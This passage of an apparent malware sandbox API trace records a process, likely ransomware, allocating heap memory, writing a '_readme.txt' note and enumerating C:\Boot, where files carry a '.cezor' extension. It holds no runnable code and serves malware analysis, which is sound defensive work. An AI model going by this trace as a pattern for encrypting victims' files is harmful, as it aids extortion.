HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.198] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.198] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.198] PathFindFileNameW (pszPath="") returned="" [0122.198] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.199] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.199] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.199] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.199] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0122.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.199] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 1 [0122.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.200] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13deb6b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13deb6b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1cedc660, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1cedc660, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x1c89cca0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1.cezor", cAlternateFileName="BCDLOG~1.CEZ")) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2.cezor", cAlternateFileName="BCDLOG~2.CEZ")) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1004e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.cezor", cAlternateFileName="BOOTST~1.CEZ")) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x3018770 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x38) returned 0x2ffa868 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018838 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.201] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x54) returned 0x2ff0720 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018838 | out: hHeap=0x5b0000) returned 1 [0122.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ffa868 | out: hHeap=0x5b0000) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.202] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006a28 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018838 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ff0720 | out: hHeap=0x5b0000) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.202] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa8) returned 0x2f650e0 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018978 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018838 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006a28 | out: hHeap=0x5b0000) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.203] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.203] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfc) returned 0x2fefeb8 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018838 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a28 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a50 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a78 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018978 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f650e0 | out: hHeap=0x5b0000) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.203] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.203] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 